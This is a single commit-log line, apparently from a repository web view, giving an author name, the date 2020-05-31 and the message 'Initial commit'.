Hubert Hirtz  ·  2020-05-31
Initial commit